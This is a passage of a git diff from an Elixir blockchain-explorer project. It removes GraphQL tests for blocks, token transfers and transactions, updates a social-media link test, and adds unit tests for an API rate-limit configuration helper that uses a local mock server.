get("/api/v2/validators/blackfort/counters") + |> json_response(200) + + assert response = + conn + |> get("/api/v2/validators/stability/counters") + |> json_response(404) + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/block_test.exs b/apps/block_scout_web/test/block_scout_web/schema/query/block_test.exs deleted file mode 100644 index d601e3dd1005..000000000000 --- a/apps/block_scout_web/test/block_scout_web/schema/query/block_test.exs +++ /dev/null @@ -1,108 +0,0 @@ -defmodule BlockScoutWeb.Schema.Query.BlockTest do - use BlockScoutWeb.ConnCase - - describe "block field" do - test "with valid argument 'number', returns all expected fields", %{conn: conn} do - block = insert(:block) - - query = """ - query ($number: Int!) { - block(number: $number) { - hash - consensus - difficulty - gas_limit - gas_used - nonce - number - size - timestamp - total_difficulty - miner_hash - parent_hash - parent_hash - } - } - """ - - variables = %{"number" => block.number} - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "block" => %{ - "hash" => to_string(block.hash), - "consensus" => block.consensus, - "difficulty" => to_string(block.difficulty), - "gas_limit" => to_string(block.gas_limit), - "gas_used" => to_string(block.gas_used), - "nonce" => to_string(block.nonce), - "number" => block.number, - "size" => block.size, - "timestamp" => DateTime.to_iso8601(block.timestamp), - "total_difficulty" => to_string(block.total_difficulty), - "miner_hash" => to_string(block.miner_hash), - "parent_hash" => to_string(block.parent_hash) - } - } - } - end - - test "errors for non-existent block number", %{conn: conn} do - block = insert(:block) - non_existent_block_number = block.number + 1 - - query = """ - query ($number: Int!) { - block(number: $number) { - number - } - } - """ - - variables = %{"number" => non_existent_block_number} - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] =~ ~s(Block number #{non_existent_block_number} was not found) - end - - test "errors if argument 'number' is missing", %{conn: conn} do - insert(:block) - - query = """ - { - block { - number - } - } - """ - - conn = get(conn, "/graphql", query: query) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] == ~s(In argument "number": Expected type "Int!", found null.) - end - - test "errors if argument 'number' is not an integer", %{conn: conn} do - insert(:block) - - query = """ - query ($number: Int!) { - block(number: $number) { - number - } - } - """ - - variables = %{"number" => "invalid"} - - conn = get(conn, "/graphql", query: query, variables: variables) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] =~ ~s(Argument "number" has invalid value) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/token_transfers_test.exs b/apps/block_scout_web/test/block_scout_web/schema/query/token_transfers_test.exs deleted file mode 100644 index 1b02348d2328..000000000000 --- a/apps/block_scout_web/test/block_scout_web/schema/query/token_transfers_test.exs +++ /dev/null @@ -1,326 +0,0 @@ -defmodule BlockScoutWeb.Schema.Query.TokenTransfersTest do - use BlockScoutWeb.ConnCase - - describe "token_transfers field" do - test "with valid argument, returns all expected fields", %{conn: conn} do - transaction = insert(:transaction) - token_transfer = insert(:token_transfer, transaction: transaction) - address_hash = to_string(token_transfer.token_contract_address_hash) - - query = """ - query ($token_contract_address_hash: AddressHash!, $first: Int!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { - edges { - node { - amount - block_number - log_index - token_id - from_address_hash - to_address_hash - token_contract_address_hash - transaction_hash - } - } - } - } - """ - - variables = %{ - "token_contract_address_hash" => address_hash, - "first" => 1 - } - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "token_transfers" => %{ - "edges" => [ - %{ - "node" => %{ - "amount" => to_string(token_transfer.amount), - "block_number" => token_transfer.block_number, - "log_index" => token_transfer.log_index, - "token_id" => token_transfer.token_id, - "from_address_hash" => to_string(token_transfer.from_address_hash), - "to_address_hash" => to_string(token_transfer.to_address_hash), - "token_contract_address_hash" => to_string(token_transfer.token_contract_address_hash), - "transaction_hash" => to_string(token_transfer.transaction_hash) - } - } - ] - } - } - } - end - - test "with token contract address with zero token transfers", %{conn: conn} do - address = insert(:contract_address) - - query = """ - query ($token_contract_address_hash: AddressHash!, $first: Int!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { - edges { - node { - amount - block_number - log_index - token_id - from_address_hash - to_address_hash - token_contract_address_hash - transaction_hash - } - } - } - } - """ - - variables = %{ - "token_contract_address_hash" => to_string(address.hash), - "first" => 10 - } - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "token_transfers" => %{ - "edges" => [] - } - } - } - end - - test "complexity correlates to first or last argument", %{conn: conn} do - address = insert(:contract_address) - - query1 = """ - query ($token_contract_address_hash: AddressHash!, $first: Int!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { - edges { - node { - amount - from_address_hash - to_address_hash - } - } - } - } - """ - - variables1 = %{ - "token_contract_address_hash" => to_string(address.hash), - "first" => 55 - } - - response1 = - conn - |> post("/graphql", query: query1, variables: variables1) - |> json_response(200) - - %{"errors" => [response1_error1, response1_error2]} = response1 - - assert response1_error1["message"] =~ ~s(Field token_transfers is too complex) - assert response1_error2["message"] =~ ~s(Operation is too complex) - - query2 = """ - query ($token_contract_address_hash: AddressHash!, $last: Int!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, last: $last) { - edges { - node { - amount - from_address_hash - to_address_hash - } - } - } - } - """ - - variables2 = %{ - "token_contract_address_hash" => to_string(address.hash), - "last" => 55 - } - - response2 = - conn - |> post("/graphql", query: query2, variables: variables2) - |> json_response(200) - - %{"errors" => [response2_error1, response2_error2]} = response2 - assert response2_error1["message"] =~ ~s(Field token_transfers is too complex) - assert response2_error2["message"] =~ ~s(Operation is too complex) - end - - test "with 'last' and 'count' arguments", %{conn: conn} do - # "`last: N` must always be acompanied by either a `before:` argument to - # the query, or an explicit `count:` option to the `from_query` call. - # Otherwise it is impossible to derive the required offset." - # https://hexdocs.pm/absinthe_relay/Absinthe.Relay.Connection.html#from_query/4 - # - # This test ensures support for a 'count' argument. - - address = insert(:contract_address) - - blocks = insert_list(2, :block) - - [transaction1, transaction2] = - for block <- blocks do - :transaction - |> insert() - |> with_block(block) - end - - token_transfer_attrs1 = %{ - block_number: transaction1.block_number, - transaction: transaction1, - token_contract_address: address - } - - token_transfer_attrs2 = %{ - block_number: transaction2.block_number, - transaction: transaction2, - token_contract_address: address - } - - insert(:token_transfer, token_transfer_attrs1) - insert(:token_transfer, token_transfer_attrs2) - - query = """ - query ($token_contract_address_hash: AddressHash!, $last: Int!, $count: Int) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, last: $last, count: $count) { - edges { - node { - transaction_hash - } - } - } - } - """ - - variables = %{ - "token_contract_address_hash" => to_string(address.hash), - "last" => 1, - "count" => 2 - } - - [token_transfer] = - conn - |> post("/graphql", query: query, variables: variables) - |> json_response(200) - |> get_in(["data", "token_transfers", "edges"]) - - assert token_transfer["node"]["transaction_hash"] == to_string(transaction1.hash) - end - - test "pagination support with 'first' and 'after' arguments", %{conn: conn} do - address = insert(:contract_address) - - blocks = insert_list(3, :block) - - [transaction1, transaction2, transaction3] = - transactions = - for block <- blocks do - :transaction - |> insert() - |> with_block(block) - end - - for transaction <- transactions do - token_transfer_attrs = %{ - block_number: transaction.block_number, - transaction: transaction, - token_contract_address: address - } - - insert(:token_transfer, token_transfer_attrs) - end - - query1 = """ - query ($token_contract_address_hash: AddressHash!, $first: Int!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first) { - page_info { - has_next_page - has_previous_page - } - edges { - node { - transaction_hash - } - cursor - } - } - } - """ - - variables1 = %{ - "token_contract_address_hash" => to_string(address.hash), - "first" => 1 - } - - conn = post(conn, "/graphql", query: query1, variables: variables1) - - %{"data" => %{"token_transfers" => page1}} = json_response(conn, 200) - - assert page1["page_info"] == %{"has_next_page" => true, "has_previous_page" => false} - assert Enum.all?(page1["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction3.hash))) - - last_cursor_page1 = - page1 - |> Map.get("edges") - |> List.last() - |> Map.get("cursor") - - query2 = """ - query ($token_contract_address_hash: AddressHash!, $first: Int!, $after: String!) { - token_transfers(token_contract_address_hash: $token_contract_address_hash, first: $first, after: $after) { - page_info { - has_next_page - has_previous_page - } - edges { - node { - transaction_hash - } - cursor - } - } - } - """ - - variables2 = %{ - "token_contract_address_hash" => to_string(address.hash), - "first" => 1, - "after" => last_cursor_page1 - } - - conn = post(conn, "/graphql", query: query2, variables: variables2) - - %{"data" => %{"token_transfers" => page2}} = json_response(conn, 200) - - assert page2["page_info"] == %{"has_next_page" => true, "has_previous_page" => true} - assert Enum.all?(page2["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction2.hash))) - - last_cursor_page2 = - page2 - |> Map.get("edges") - |> List.last() - |> Map.get("cursor") - - variables3 = %{ - "token_contract_address_hash" => to_string(address.hash), - "first" => 1, - "after" => last_cursor_page2 - } - - conn = post(conn, "/graphql", query: query2, variables: variables3) - - %{"data" => %{"token_transfers" => page3}} = json_response(conn, 200) - - assert page3["page_info"] == %{"has_next_page" => false, "has_previous_page" => true} - assert Enum.all?(page3["edges"], &(&1["node"]["transaction_hash"] == to_string(transaction1.hash))) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/schema/query/transaction_test.exs b/apps/block_scout_web/test/block_scout_web/schema/query/transaction_test.exs deleted file mode 100644 index 8135ee5d7598..000000000000 --- a/apps/block_scout_web/test/block_scout_web/schema/query/transaction_test.exs +++ /dev/null @@ -1,552 +0,0 @@ -defmodule BlockScoutWeb.Schema.Query.TransactionTest do - use BlockScoutWeb.ConnCase - - describe "transaction field" do - test "with valid argument 'hash', returns all expected fields", %{conn: conn} do - block = insert(:block) - - transaction = - :transaction - |> insert() - |> with_block(block, status: :ok) - - query = """ - query ($hash: FullHash!) { - transaction(hash: $hash) { - hash - block_number - cumulative_gas_used - error - gas - gas_price - gas_used - index - input - nonce - r - s - status - v - value - from_address_hash - to_address_hash - created_contract_address_hash - } - } - """ - - variables = %{"hash" => to_string(transaction.hash)} - - conn = get(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "transaction" => %{ - "hash" => to_string(transaction.hash), - "block_number" => transaction.block_number, - "cumulative_gas_used" => to_string(transaction.cumulative_gas_used), - "error" => transaction.error, - "gas" => to_string(transaction.gas), - "gas_price" => to_string(transaction.gas_price.value), - "gas_used" => to_string(transaction.gas_used), - "index" => transaction.index, - "input" => to_string(transaction.input), - "nonce" => to_string(transaction.nonce), - "r" => to_string(transaction.r), - "s" => to_string(transaction.s), - "status" => transaction.status |> to_string() |> String.upcase(), - "v" => to_string(transaction.v), - "value" => to_string(transaction.value.value), - "from_address_hash" => to_string(transaction.from_address_hash), - "to_address_hash" => to_string(transaction.to_address_hash), - "created_contract_address_hash" => nil - } - } - } - end - - test "errors for non-existent transaction hash", %{conn: conn} do - transaction = build(:transaction) - - query = """ - query ($hash: FullHash!) { - transaction(hash: $hash) { - status - } - } - """ - - variables = %{"hash" => to_string(transaction.hash)} - - conn = get(conn, "/graphql", query: query, variables: variables) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] == "Transaction not found." - end - - test "errors if argument 'hash' is missing", %{conn: conn} do - query = """ - { - transaction { - status - } - } - """ - - conn = get(conn, "/graphql", query: query) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] == ~s(In argument "hash": Expected type "FullHash!", found null.) - end - - test "errors if argument 'hash' is not a 'FullHash'", %{conn: conn} do - query = """ - query ($hash: FullHash!) { - transaction(hash: $hash) { - status - } - } - """ - - variables = %{"hash" => "0x000"} - - conn = get(conn, "/graphql", query: query, variables: variables) - - assert %{"errors" => [error]} = json_response(conn, 200) - assert error["message"] =~ ~s(Argument "hash" has invalid value) - end - end - - describe "transaction internal_transactions field" do - test "returns all expected internal_transaction fields", %{conn: conn} do - address = insert(:address) - contract_address = insert(:contract_address) - - block = insert(:block) - - transaction = - :transaction - |> insert(from_address: address) - |> with_contract_creation(contract_address) - |> with_block(block) - - internal_transaction_attributes = %{ - transaction: transaction, - index: 0, - from_address: address, - call_type: :call, - block_hash: transaction.block_hash, - block_index: 0 - } - - internal_transaction = - :internal_transaction_create - |> insert(internal_transaction_attributes) - |> with_contract_creation(contract_address) - - query = """ - query ($hash: FullHash!, $first: Int!) { - transaction(hash: $hash) { - internal_transactions(first: $first) { - edges { - node { - call_type - created_contract_code - error - gas - gas_used - index - init - input - output - trace_address - type - value - block_number - transaction_index - created_contract_address_hash - from_address_hash - to_address_hash - transaction_hash - } - } - } - } - } - """ - - variables = %{ - "hash" => to_string(transaction.hash), - "first" => 1 - } - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "transaction" => %{ - "internal_transactions" => %{ - "edges" => [ - %{ - "node" => %{ - "call_type" => internal_transaction.call_type |> to_string() |> String.upcase(), - "created_contract_code" => to_string(internal_transaction.created_contract_code), - "error" => internal_transaction.error, - "gas" => to_string(internal_transaction.gas), - "gas_used" => to_string(internal_transaction.gas_used), - "index" => internal_transaction.index, - "init" => to_string(internal_transaction.init), - "input" => nil, - "output" => nil, - "trace_address" => Jason.encode!(internal_transaction.trace_address), - "type" => internal_transaction.type |> to_string() |> String.upcase(), - "value" => to_string(internal_transaction.value.value), - "block_number" => internal_transaction.block_number, - "transaction_index" => internal_transaction.transaction_index, - "created_contract_address_hash" => - to_string(internal_transaction.created_contract_address_hash), - "from_address_hash" => to_string(internal_transaction.from_address_hash), - "to_address_hash" => nil, - "transaction_hash" => to_string(internal_transaction.transaction_hash) - } - } - ] - } - } - } - } - end - - test "with transaction with zero internal transactions", %{conn: conn} do - address = insert(:address) - - block = insert(:block) - - transaction = - :transaction - |> insert(from_address: address) - |> with_block(block) - - query = """ - query ($hash: FullHash!, $first: Int!) { - transaction(hash: $hash) { - internal_transactions(first: $first) { - edges { - node { - index - transaction_hash - } - } - } - } - } - """ - - variables = %{ - "hash" => to_string(transaction.hash), - "first" => 1 - } - - conn = post(conn, "/graphql", query: query, variables: variables) - - assert json_response(conn, 200) == %{ - "data" => %{ - "transaction" => %{ - "internal_transactions" => %{ - "edges" => [] - } - } - } - } - end - - test "internal transactions are ordered by ascending index", %{conn: conn} do - transaction = insert(:transaction) |> with_block() - - insert(:internal_transaction, - transaction: transaction, - index: 2, - block_hash: transaction.block_hash, - block_index: 2 - ) - - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_hash: transaction.block_hash, - block_index: 0 - ) - - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_hash: transaction.block_hash, - block_index: 1 - ) - - query = """ - query ($hash: FullHash!, $first: Int!) { - transaction(hash: $hash) { - internal_transactions(first: $first) { - edges { - node { - index - transaction_hash - } - } - } - } - } - """ - - variables = %{ - "hash" => to_string(transaction.hash), - "first" => 3 - } - - response = - conn - |> post("/graphql", query: query, variables: variables) - |> json_response(200) - - internal_transactions = get_in(response, ["data", "transaction", "internal_transactions", "edges"]) - - index_order = Enum.map(internal_transactions, & &1["node"]["index"]) - - assert index_order == Enum.sort(index_order) - end - - test "complexity correlates to first or last argument", %{conn: conn} do - transaction = insert(:transaction) - - query1 = """ - query ($hash: FullHash!, $first: Int!) { - transaction(hash: $hash) { - internal_transactions(first: $first) { - edges { - node { - index - transaction_hash - } - } - } - } - } - """ - - variables1 = %{ - "hash" => to_string(transaction.hash), - "first" => 55 - } - - response1 = - conn - |> post("/graphql", query: query1, variables: variables1) - |> json_response(200) - - assert %{"errors" => [error1, error2, error3]} = response1 - assert error1["message"] =~ ~s(Field internal_transactions is too complex) - assert error2["message"] =~ ~s(Field transaction is too complex) - assert error3["message"] =~ ~s(Operation is too complex) - - query2 = """ - query ($hash: FullHash!, $last: Int!, $count: Int!) { - transaction(hash: $hash) { - internal_transactions(last: $last, count: $count) { - edges { - node { - index - transaction_hash - } - } - } - } - } - """ - - variables2 = %{ - "hash" => to_string(transaction.hash), - "last" => 55, - "count" => 100 - } - - response2 = - conn - |> post("/graphql", query: query2, variables: variables2) - |> json_response(200) - - assert %{"errors" => [error1, error2, error3]} = response2 - assert error1["message"] =~ ~s(Field internal_transactions is too complex) - assert error2["message"] =~ ~s(Field transaction is too complex) - assert error3["message"] =~ ~s(Operation is too complex) - end - - test "with 'last' and 'count' arguments", %{conn: conn} do - # "`last: N` must always be acompanied by either a `before:` argument to - # the query, or an explicit `count:` option to the `from_query` call. - # Otherwise it is impossible to derive the required offset." - # https://hexdocs.pm/absinthe_relay/Absinthe.Relay.Connection.html#from_query/4 - # - # This test ensures support for a 'count' argument. - - transaction = insert(:transaction) |> with_block() - - insert(:internal_transaction, - transaction: transaction, - index: 2, - block_hash: transaction.block_hash, - block_index: 2 - ) - - insert(:internal_transaction, - transaction: transaction, - index: 0, - block_hash: transaction.block_hash, - block_index: 0 - ) - - insert(:internal_transaction, - transaction: transaction, - index: 1, - block_hash: transaction.block_hash, - block_index: 1 - ) - - query = """ - query ($hash: FullHash!, $last: Int!, $count: Int!) { - transaction(hash: $hash) { - internal_transactions(last: $last, count: $count) { - edges { - node { - index - transaction_hash - } - } - } - } - } - """ - - variables = %{ - "hash" => to_string(transaction.hash), - "last" => 1, - "count" => 3 - } - - [internal_transaction] = - conn - |> post("/graphql", query: query, variables: variables) - |> json_response(200) - |> get_in(["data", "transaction", "internal_transactions", "edges"]) - - assert internal_transaction["node"]["index"] == 2 - end - - test "pagination support with 'first' and 'after' arguments", %{conn: conn} do - transaction = insert(:transaction) |> with_block() - - for index <- 0..5 do - insert(:internal_transaction_create, - transaction: transaction, - index: index, - block_hash: transaction.block_hash, - block_index: index - ) - end - - query1 = """ - query ($hash: FullHash!, $first: Int!) { - transaction(hash: $hash) { - internal_transactions(first: $first) { - page_info { - has_next_page - has_previous_page - } - edges { - node { - index - transaction_hash - } - cursor - } - } - } - } - """ - - variables1 = %{ - "hash" => to_string(transaction.hash), - "first" => 2 - } - - conn = post(conn, "/graphql", query: query1, variables: variables1) - - %{"data" => %{"transaction" => %{"internal_transactions" => page1}}} = json_response(conn, 200) - - assert page1["page_info"] == %{"has_next_page" => true, "has_previous_page" => false} - assert Enum.all?(page1["edges"], &(&1["node"]["index"] in 0..1)) - - last_cursor_page1 = - page1 - |> Map.get("edges") - |> List.last() - |> Map.get("cursor") - - query2 = """ - query ($hash: FullHash!, $first: Int!, $after: String!) { - transaction(hash: $hash) { - internal_transactions(first: $first, after: $after) { - page_info { - has_next_page - has_previous_page - } - edges { - node { - index - transaction_hash - } - cursor - } - } - } - } - """ - - variables2 = %{ - "hash" => to_string(transaction.hash), - "first" => 2, - "after" => last_cursor_page1 - } - - page2 = - conn - |> post("/graphql", query: query2, variables: variables2) - |> json_response(200) - |> get_in(["data", "transaction", "internal_transactions"]) - - assert page2["page_info"] == %{"has_next_page" => true, "has_previous_page" => true} - assert Enum.all?(page2["edges"], &(&1["node"]["index"] in 2..3)) - - last_cursor_page2 = - page2 - |> Map.get("edges") - |> List.last() - |> Map.get("cursor") - - variables3 = %{ - "hash" => to_string(transaction.hash), - "first" => 2, - "after" => last_cursor_page2 - } - - page3 = - conn - |> post("/graphql", query: query2, variables: variables3) - |> json_response(200) - |> get_in(["data", "transaction", "internal_transactions"]) - - assert page3["page_info"] == %{"has_next_page" => false, "has_previous_page" => true} - assert Enum.all?(page3["edges"], &(&1["node"]["index"] in 4..5)) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/schema/subscription/token_transfers_test.exs b/apps/block_scout_web/test/block_scout_web/schema/subscription/token_transfers_test.exs deleted file mode 100644 index 4383457ae4cc..000000000000 --- a/apps/block_scout_web/test/block_scout_web/schema/subscription/token_transfers_test.exs +++ /dev/null @@ -1,117 +0,0 @@ -defmodule BlockScoutWeb.Schema.Subscription.TokenTransfersTest do - use BlockScoutWeb.SubscriptionCase - import Mox - - alias BlockScoutWeb.Notifier - - describe "token_transfers field" do - setup :set_mox_global - - setup do - configuration = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint) - Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, pubsub_server: BlockScoutWeb.PubSub) - - :ok - - on_exit(fn -> - Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, configuration) - end) - end - - test "with valid argument, returns all expected fields", %{socket: socket} do - transaction = insert(:transaction) - token_transfer = insert(:token_transfer, transaction: transaction) - address_hash = to_string(token_transfer.token_contract_address_hash) - - subscription = """ - subscription ($hash: AddressHash!) { - token_transfers(token_contract_address_hash: $hash) { - amount - from_address_hash - to_address_hash - token_contract_address_hash - transaction_hash - } - } - """ - - variables = %{"hash" => address_hash} - - ref = push_doc(socket, subscription, variables: variables) - - assert_reply(ref, :ok, %{subscriptionId: subscription_id}) - - Notifier.handle_event({:chain_event, :token_transfers, :realtime, [token_transfer]}) - - expected = %{ - result: %{ - data: %{ - "token_transfers" => [ - %{ - "amount" => to_string(token_transfer.amount), - "from_address_hash" => to_string(token_transfer.from_address_hash), - "to_address_hash" => to_string(token_transfer.to_address_hash), - "token_contract_address_hash" => to_string(token_transfer.token_contract_address_hash), - "transaction_hash" => to_string(token_transfer.transaction_hash) - } - ] - } - }, - subscriptionId: subscription_id - } - - assert_push("subscription:data", push) - assert push == expected - end - - test "ignores irrelevant tokens", %{socket: socket} do - transaction = insert(:transaction) - [token_transfer1, token_transfer2] = insert_list(2, :token_transfer, transaction: transaction) - address_hash1 = to_string(token_transfer1.token_contract_address_hash) - - subscription = """ - subscription ($hash: AddressHash!) { - token_transfers(token_contract_address_hash: $hash) { - amount - token_contract_address_hash - } - } - """ - - variables = %{"hash" => address_hash1} - - ref = push_doc(socket, subscription, variables: variables) - - assert_reply(ref, :ok, %{subscriptionId: _subscription_id}) - - Notifier.handle_event({:chain_event, :token_transfers, :realtime, [token_transfer2]}) - - refute_push("subscription:data", _push) - end - - test "ignores non-realtime updates", %{socket: socket} do - transaction = insert(:transaction) - token_transfer = insert(:token_transfer, transaction: transaction) - address_hash = to_string(token_transfer.token_contract_address_hash) - - subscription = """ - subscription ($hash: AddressHash!) { - token_transfers(token_contract_address_hash: $hash) { - amount - token_contract_address_hash - } - } - """ - - variables = %{"hash" => address_hash} - - ref = push_doc(socket, subscription, variables: variables) - - assert_reply(ref, :ok, %{subscriptionId: _subscription_id}) - - Notifier.handle_event({:chain_event, :token_transfers, :catchup, [token_transfer]}) - - refute_push("subscription:data", _push) - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/social_media_test.exs b/apps/block_scout_web/test/block_scout_web/social_media_test.exs index 8a102a60e1d1..19243245b91d 100644 --- a/apps/block_scout_web/test/block_scout_web/social_media_test.exs +++ b/apps/block_scout_web/test/block_scout_web/social_media_test.exs @@ -20,6 +20,6 @@ defmodule BlockScoutWeb.SocialMediaTest do Application.put_env(:block_scout_web, BlockScoutWeb.SocialMedia, twitter: "MyTwitterProfile") links = SocialMedia.links() - assert links[:twitter] == "https://www.twitter.com/MyTwitterProfile" + assert links[:twitter] == "https://www.x.com/MyTwitterProfile" end end diff --git a/apps/block_scout_web/test/block_scout_web/utility/rate_limit_config_helper_test.exs b/apps/block_scout_web/test/block_scout_web/utility/rate_limit_config_helper_test.exs new file mode 100644 index 000000000000..58c39d5f458d --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/utility/rate_limit_config_helper_test.exs @@ -0,0 +1,306 @@ +defmodule BlockScoutWeb.Utility.RateLimitConfigHelperTest do + use BlockScoutWeb.ConnCase, async: false + alias BlockScoutWeb.Utility.RateLimitConfigHelper + + describe "store_rate_limit_config/0" do + setup do + original_config_from_persistent_term = :persistent_term.get(:rate_limit_config) + + # Store original config URL + original_config = Application.get_env(:block_scout_web, :api_rate_limit) + + on_exit(fn -> + Application.put_env(:block_scout_web, :api_rate_limit, original_config) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + :persistent_term.put(:rate_limit_config, original_config_from_persistent_term) + end) + end + + test "successfully fetches and parses config from URL" do + config = %{ + "api/v2/*" => %{ + "static_api_key" => true, + "account_api_key" => true + } + } + + bypass = Bypass.open() + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + + assert :persistent_term.get(:rate_limit_config) == %{ + wildcard_match: %{ + {["api", "v2"], 2} => %{ + static_api_key: true, + account_api_key: true, + bucket_key_prefix: "" + } + }, + parametrized_match: %{}, + static_match: %{} + } + end + + test "falls back to local config when URL fetch fails" do + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 500, "Internal Server Error") + end) + + RateLimitConfigHelper.store_rate_limit_config() + # Verify that we got some config (from local file) + config = :persistent_term.get(:rate_limit_config) + assert is_map(config[:static_match]["default"]) + + assert config[:static_match]["api/account/v2/authenticate_via_wallet"][:bucket_key_prefix] == + "api/account/v2/authenticate_via_wallet_" + + assert config[:static_match]["api/account/v2/authenticate_via_wallet"][:isolate_rate_limit?] == true + end + + test "correctly categorizes different path types when fetching config" do + config = %{ + "api/v2/*" => %{"limit" => 100}, + "api/v2/tokens/:param" => %{"limit" => 50}, + "api/v2/static" => %{"limit" => 25} + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + result = :persistent_term.get(:rate_limit_config) + + assert result.wildcard_match == %{ + {["api", "v2"], 2} => %{limit: 100, bucket_key_prefix: ""} + } + + assert result.parametrized_match == %{ + ["api", "v2", "tokens", ":param"] => %{limit: 50, bucket_key_prefix: ""} + } + + assert result.static_match == %{ + "api/v2/static" => %{limit: 25, bucket_key_prefix: ""} + } + end + + test "falls back to local config when fetching config with invalid wildcard placement" do + config = %{ + "api/*/v2" => %{ + "ip" => %{ + "period" => "1h", + "limit" => 100 + } + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + assert is_map(:persistent_term.get(:rate_limit_config)[:static_match]["default"]) + end + + test "converts time strings to milliseconds when fetching config" do + config = %{ + "api/v2/endpoint" => %{ + "ip" => %{ + "period" => "5m", + "limit" => 100 + } + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + result = :persistent_term.get(:rate_limit_config) + + # 5 minutes in milliseconds + assert result.static_match["api/v2/endpoint"][:ip][:period] == 300_000 + # 100 requests per 5 minutes + assert result.static_match["api/v2/endpoint"][:ip][:limit] == 100 + end + + test "falls back to local config when fetching config with invalid time format" do + config = %{ + "api/v2/endpoint" => %{ + "ip" => %{ + "period" => "invalid" + } + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + assert is_map(:persistent_term.get(:rate_limit_config)[:static_match]["default"]) + end + + test "correctly processes all reserved keywords in configuration" do + config = %{ + "api/v2/endpoint" => %{ + "account_api_key" => true, + "bypass_token_scope" => "test_scope", + "cost" => 5, + "ip" => %{ + "period" => "1h", + "limit" => 100 + }, + "ignore" => true, + "recaptcha_to_bypass_429" => true, + "static_api_key" => true, + "temporary_token" => true, + "whitelisted_ip" => true, + "isolate_rate_limit?" => true + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + result = :persistent_term.get(:rate_limit_config) + + # Check that all keys are properly converted to atoms + processed_config = result.static_match["api/v2/endpoint"] + + assert processed_config[:account_api_key] == true + assert processed_config[:bypass_token_scope] == "test_scope" + assert processed_config[:cost] == 5 + # 1h in milliseconds + assert processed_config[:ip][:period] == 3_600_000 + assert processed_config[:ip][:limit] == 100 + assert processed_config[:ignore] == true + assert processed_config[:recaptcha_to_bypass_429] == true + assert processed_config[:static_api_key] == true + assert processed_config[:temporary_token] == true + assert processed_config[:whitelisted_ip] == true + assert processed_config[:isolate_rate_limit?] == true + assert processed_config[:bucket_key_prefix] == "api/v2/endpoint_" + end + + test "correctly processes nested structures with reserved keywords" do + config = %{ + "api/v2/tokens/:param" => %{ + "ip" => %{ + "period" => "5m", + "limit" => 50 + }, + "static_api_key" => %{ + "period" => "1h", + "limit" => 500 + }, + "whitelisted_ip" => 